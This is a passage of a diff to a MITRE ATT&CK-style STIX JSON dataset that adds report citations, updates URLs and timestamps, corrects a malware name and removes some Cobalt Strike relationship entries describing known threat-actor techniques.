"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." } ], - "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the IP address of the victim machine.(Citation: DigiTrust Agent Tesla Jan 2017)", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the IP address of the victim machine and spawn instances of netsh.exe to enumerate wireless settings.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: SentinelLabs Agent Tesla Aug 2020) ", "id": "relationship--2fc8879c-1763-4ed0-b1d8-67b4c3d49ed9", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "relationship_type": "uses", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "type": "relationship", - "modified": "2020-03-18T19:25:30.287Z", + "modified": "2020-12-17T16:56:47.428Z", "created": "2019-01-29T18:44:04.968Z" }, { @@ -117435,7 +118847,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "type": "relationship", - "modified": "2019-04-12T14:43:22.690Z", + "modified": "2021-04-25T15:45:04.902Z", "created": "2019-01-29T19:36:02.743Z" }, { @@ -117504,7 +118916,7 @@ { "id": "relationship--1782abeb-8d28-42a1-8abe-c137f23b282c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used HTTP requests for command and control.(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used HTTP requests for command and control.(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -117518,13 +118930,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "relationship_type": "uses", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "type": "relationship", - "modified": "2020-06-29T13:26:01.392Z", + "modified": "2020-12-09T23:26:09.059Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -117784,27 +119201,6 @@ "modified": "2020-03-20T02:28:34.478Z", "created": "2019-01-30T13:53:14.927Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "FireEye APT29 Nov 2018", - "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", - "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018." - } - ], - "description": "(Citation: FireEye APT29 Nov 2018)", - "id": "relationship--2ad95088-71af-462d-a18d-51c35a0cc6b3", - "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", - "relationship_type": "uses", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "type": "relationship", - "modified": "2019-07-25T14:25:53.638Z", - "created": "2019-01-30T14:19:17.921Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -117956,15 +119352,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the hostname, OS version, service pack version, and the processor architecture from the victim\u2019s machine.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the hostname, OS version, service pack version, and the processor architecture from the victim\u2019s machine.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "id": "relationship--2c44970b-616d-401e-b9ed-72ac39ca5709", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2020-03-16T20:05:43.593Z", + "modified": "2021-04-05T20:52:47.631Z", "created": "2019-01-30T17:43:28.295Z" }, { @@ -118258,50 +119659,34 @@ { "id": "relationship--9779ccbc-c376-4a6e-a43f-56a782892302", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used compromised credentials to access other systems on a victim network.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used compromised credentials to access other systems on a victim network.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", - "url": "https://pan-unit42.github.io/playbook_viewer/" + "source_name": "Unit 42 Playbook Dec 2017" }, { "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Webinar Dec 2017" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "relationship_type": "uses", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "type": "relationship", - "modified": "2019-09-04T22:55:41.327Z", + "modified": "2020-12-22T18:05:31.184Z", "created": "2018-01-16T16:13:52.465Z" }, - { - "id": "relationship--3c2ccc2c-813a-400f-b7ee-53f1ff120d3d", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can download a hosted \"beacon\" payload using [BITSAdmin](https://attack.mitre.org/software/S0190).(Citation: CobaltStrike Scripted Web Delivery)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/help-scripted-web-delivery", - "description": "Strategic Cyber, LLC. (n.d.). Scripted Web Delivery. Retrieved January 23, 2018.", - "source_name": "CobaltStrike Scripted Web Delivery" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", - "type": "relationship", - "modified": "2019-06-06T19:04:39.502Z", - "created": "2018-04-18T17:59:24.739Z" - }, { "id": "relationship--2892eada-7633-4428-80e0-0e965d5faf5c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -118312,14 +119697,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "type": "relationship", - "modified": "2020-05-14T15:14:33.554Z", + "modified": "2021-04-27T19:53:41.047Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -118346,7 +119732,7 @@ { "id": "relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of stealing Outlook passwords.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of stealing Outlook passwords.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -118862,14 +120248,14 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.589Z", + "modified": "2021-03-29T19:54:46.223Z", "created": "2017-05-31T21:33:27.034Z" }, { @@ -118965,16 +120351,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "type": "relationship", - "modified": "2020-03-16T20:09:18.801Z", + "modified": "2021-03-29T19:54:46.228Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -119087,27 +120473,6 @@ "modified": "2020-03-20T16:46:50.644Z", "created": "2017-12-14T16:46:06.044Z" }, - { - "id": "relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use process hollowing for execution.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", - "type": "relationship", - "modified": "2019-06-06T19:04:39.509Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--892ff1d1-3da9-489e-89c3-374ab07a417b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -119326,27 +120691,32 @@ { "id": "relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has compressed files before exfiltration using TAR and RAR.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has compressed files before exfiltration using TAR and RAR.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Symantec Cicada November 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "source_name": "PWC Cloud Hopper April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", - "source_name": "PWC Cloud Hopper April 2017" + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" }, { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "type": "relationship", - "modified": "2020-03-30T02:32:35.481Z", + "modified": "2020-12-17T16:16:08.878Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -119651,7 +121021,7 @@ { "id": "relationship--ca71a63a-4481-46d2-98b2-b83cce190380", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture the victim's screen.(Citation: McAfee Netwire Mar 2015)", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture the victim's screen.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -119660,13 +121030,28 @@ "source_name": "McAfee Netwire Mar 2015", "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + }, + { + "source_name": "FireEye NETWIRE March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html", + "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021." + }, + { + "source_name": "Red Canary NETWIRE January 2020", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", + "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021." + }, + { + "source_name": "Proofpoint NETWIRE December 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", + "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021." } ], "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "relationship_type": "uses", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "type": "relationship", - "modified": "2020-03-16T17:21:37.050Z", + "modified": "2021-01-12T18:38:41.164Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -120105,14 +121490,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "type": "relationship", - "modified": "2019-04-24T23:17:25.178Z", + "modified": "2020-11-23T17:03:38.865Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -120152,14 +121537,14 @@ "source_name": "SecureWorks BRONZE UNION June 2017" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } ], "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of Mimikatz called Wrapikatz.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)", "type": "relationship", - "modified": "2019-07-14T21:15:55.628Z", + "modified": "2021-03-29T19:43:26.887Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -120399,16 +121784,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "type": "relationship", - "modified": "2019-04-22T15:08:48.553Z", + "modified": "2021-03-29T19:54:46.570Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -120550,14 +121935,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2019-04-24T23:17:25.177Z", + "modified": "2020-11-23T17:03:38.887Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -121029,7 +122414,7 @@ "external_references": [ { "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", - "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018" }, { @@ -121044,7 +122429,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2020-10-16T00:45:59.541Z", + "modified": "2021-03-29T19:49:11.294Z", "created": "2019-01-29T14:51:06.807Z" }, { @@ -121286,16 +122671,16 @@ "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" }, { - "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "source_name": "McAfee Lazarus Resurfaces Feb 2018" } ], "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "relationship_type": "uses", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "type": "relationship", - "modified": "2020-03-30T02:27:00.611Z", + "modified": "2020-12-11T17:47:22.986Z", "created": "2017-05-31T21:33:27.067Z" }, { @@ -121338,11 +122723,16 @@ "source_name": "Symantec Waterbug", "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1" + }, + { + "source_name": "Unit 42 IronNetInjector February 2021 ", + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021." } ], - "description": "(Citation: Symantec Waterbug)", + "description": "(Citation: Symantec Waterbug)(Citation: Unit 42 IronNetInjector February 2021 )", "type": "relationship", - "modified": "2020-06-29T13:27:46.711Z", + "modified": "2021-02-25T18:49:13.483Z", "created": "2017-05-31T21:33:27.046Z" }, { @@ -121366,27 +122756,6 @@ "modified": "2020-02-18T03:40:29.926Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "type": "relationship", - "modified": "2019-06-06T19:04:39.540Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -121432,7 +122801,7 @@ { "id": "relationship--47415cec-25f8-4425-9125-157e1637a687", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses reflective DLL injection to inject the malicious library and execute the RAT.(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses reflective DLL injection to inject the malicious library and execute the RAT.(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -121544,32 +122913,6 @@ "modified": "2019-09-16T19:41:10.242Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--29fc21b0-4946-4c75-a28e-f8dad46897af", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", - "relationship_type": "uses", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", - "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", - "source_name": "Proofpoint Leviathan Oct 2017" - }, - { - "source_name": "FireEye Periscope March 2018", - "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", - "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" - } - ], - "description": "(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)", - "type": "relationship", - "modified": "2019-04-25T12:24:57.562Z", - "created": "2018-04-18T17:59:24.739Z" - }, { "id": "relationship--0d8aa058-426a-45c9-af5b-898746ae5862", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -122021,14 +123364,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", "relationship_type": "uses", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "type": "relationship", - "modified": "2020-03-11T18:49:43.047Z", + "modified": "2021-04-21T16:41:34.715Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -122092,11 +123435,21 @@ "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014" + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + }, + { + "source_name": "UK NCSC Olympic Attacks October 2020", + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020." } ], - "description": "(Citation: iSIGHT Sandworm 2014)(Citation: F-Secure BlackEnergy 2014)", + "description": "(Citation: iSIGHT Sandworm 2014)(Citation: F-Secure BlackEnergy 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)", "type": "relationship", - "modified": "2020-06-02T16:14:00.643Z", + "modified": "2020-11-30T19:59:14.218Z", "created": "2017-05-31T21:33:27.070Z" }, { @@ -122270,9 +123623,9 @@ "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" }, { - "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, { "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", @@ -122284,7 +123637,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "type": "relationship", - "modified": "2020-03-27T21:01:19.718Z", + "modified": "2020-12-11T17:47:23.013Z", "created": "2017-05-31T21:33:27.066Z" }, { @@ -123020,15 +124373,20 @@ "source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s OS version and machine name.(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta 